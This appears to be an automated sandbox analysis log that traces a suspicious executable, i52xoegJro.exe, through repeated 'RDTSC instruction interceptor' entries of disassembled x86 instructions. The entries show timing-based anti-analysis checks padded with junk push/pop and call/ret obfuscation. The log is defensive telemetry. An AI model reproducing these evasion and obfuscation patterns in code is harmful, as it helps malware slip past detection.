Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D81A second address: D7D839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C644F7B2Fh 0x00000009 je 00007F9C644F7B28h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D839 second address: D7D83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D83F second address: D7D843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D843 second address: D7D847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D847 second address: D7D869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007F9C644F7B34h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D869 second address: D7D880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100593h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D9A9 second address: D7D9AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D9AD second address: D7D9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9C65100597h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D9CC second address: D7D9D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D9D2 second address: D7D9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C6510058Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7D9E5 second address: D7D9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7DE02 second address: D7DE06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7E21C second address: D7E238 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F9C644F7B2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7E375 second address: D7E37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9C65100586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7E37F second address: D7E393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7E393 second address: D7E3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100596h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7E6A8 second address: D7E6BF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9C644F7B32h 0x00000008 jnl 00007F9C644F7B26h 0x0000000e jns 00007F9C644F7B26h 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7E85D second address: D7E897 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9C65100586h 0x00000008 jmp 00007F9C65100591h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007F9C65100590h 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b ja 00007F9C65100586h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7EE0C second address: D7EE2F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9C644F7B26h 0x0000000e jmp 00007F9C644F7B35h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7EE2F second address: D7EE33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7EE33 second address: D7EE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9C644F7B26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d pushad 0x0000000e jmp 00007F9C644F7B32h 0x00000013 jmp 00007F9C644F7B39h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7EE71 second address: D7EE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7F174 second address: D7F178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7F178 second address: D7F1A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9C65100597h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F9C6510058Eh 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7F1A5 second address: D7F1C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F9C644F7B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D7F1C3 second address: D7F1C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D83881 second address: D83895 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9C644F7B2Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jnp 00007F9C644F7B26h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D83895 second address: D8389B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8389B second address: D838B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B35h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D4FA4B second address: D4FA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D4FA4F second address: D4FA5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D89B8A second address: D89BBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100598h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c jp 00007F9C65100586h 0x00000012 ja 00007F9C65100586h 0x00000018 pop eax 0x00000019 push ecx 0x0000001a jo 00007F9C65100586h 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8D1FE second address: D8D204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8D4B7 second address: D8D4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8D676 second address: D8D67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8D760 second address: D8D781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9C65100597h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8D781 second address: D8D78B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9C644F7B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8DD78 second address: D8DD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8DD7C second address: D8DD80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8E288 second address: D8E28D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8E28D second address: D8E2A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B33h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8F0EC second address: D8F155 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9C6510059Eh 0x00000008 jmp 00007F9C65100598h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 jmp 00007F9C6510058Ch 0x00000016 pop eax 0x00000017 nop 0x00000018 adc esi, 7AB1FCA4h 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F9C65100588h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a push 00000000h 0x0000003c mov esi, edx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push edx 0x00000044 pop edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8F155 second address: D8F16A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8EFE9 second address: D8EFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8EFED second address: D8F00A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B39h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D901EE second address: D9020F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100590h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jnp 00007F9C65100586h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D90D3E second address: D90D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D918D6 second address: D91957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jc 00007F9C65100586h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F9C65100588h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov esi, dword ptr [ebp+122D36B4h] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007F9C65100588h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d jc 00007F9C65100587h 0x00000053 cmc 0x00000054 push 00000000h 0x00000056 and esi, 766C830Fh 0x0000005c xor dword ptr [ebp+122D335Ch], eax 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F9C6510058Bh 0x0000006a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D90AAD second address: D90AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D91957 second address: D9195C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D921F2 second address: D921F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D97C6F second address: D97CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F9C65100596h 0x0000000c pop esi 0x0000000d popad 0x0000000e nop 0x0000000f sub dword ptr [ebp+12457995h], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F9C65100588h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov bx, ax 0x00000034 mov bx, dx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F9C65100588h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 or ebx, 047147C2h 0x00000059 push eax 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d jbe 00007F9C65100586h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D936A5 second address: D936A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D97CEF second address: D97CFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F9C6510058Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98C06 second address: D98C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007F9C644F7B28h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 sub dword ptr [ebp+122D2F99h], ecx 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b jmp 00007F9C644F7B2Fh 0x00000030 push eax 0x00000031 jc 00007F9C644F7B38h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98C4E second address: D98C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98C52 second address: D98C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98D8A second address: D98D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9AD8E second address: D9AD92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D99E35 second address: D99E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9C65100586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9AD92 second address: D9ADA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9C644F7B2Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98E47 second address: D98E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D99F24 second address: D99F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98E4B second address: D98E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9AEDE second address: D9AEF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D98E51 second address: D98E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CD50 second address: D9CD54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9C005 second address: D9C020 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C65100591h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CD54 second address: D9CD5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CD5A second address: D9CDD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, eax 0x0000000c mov ebx, dword ptr [ebp+122D2C1Fh] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F9C65100588h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push esi 0x0000002f pop edi 0x00000030 xor dword ptr [ebp+1247BACBh], edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007F9C65100588h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 and ebx, dword ptr [ebp+122D337Fh] 0x00000058 mov ebx, 7D80074Bh 0x0000005d push eax 0x0000005e je 00007F9C65100598h 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CDD8 second address: D9CDDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9DCD6 second address: D9DCDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CED2 second address: D9CEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C644F7B33h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9DCDC second address: D9DCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CEF0 second address: D9CEF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9DCE0 second address: D9DD48 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F9C65100588h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D3524h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F9C65100588h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D2BABh], edx 0x0000004b push 00000000h 0x0000004d or dword ptr [ebp+122D2E3Eh], ecx 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ebx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 pop ebx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CFAB second address: D9CFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CFAF second address: D9CFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CFB5 second address: D9CFBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA0C4B second address: DA0C65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9CFBA second address: D9CFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA0C65 second address: DA0CD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9C6510058Dh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F9C6510058Ah 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9C65100588h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D17C8h], esi 0x00000035 push 00000000h 0x00000037 call 00007F9C6510058Dh 0x0000003c jmp 00007F9C65100593h 0x00000041 pop edi 0x00000042 push eax 0x00000043 pushad 0x00000044 jng 00007F9C6510058Ch 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA3DCF second address: DA3DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA3DD3 second address: DA3DED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100592h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
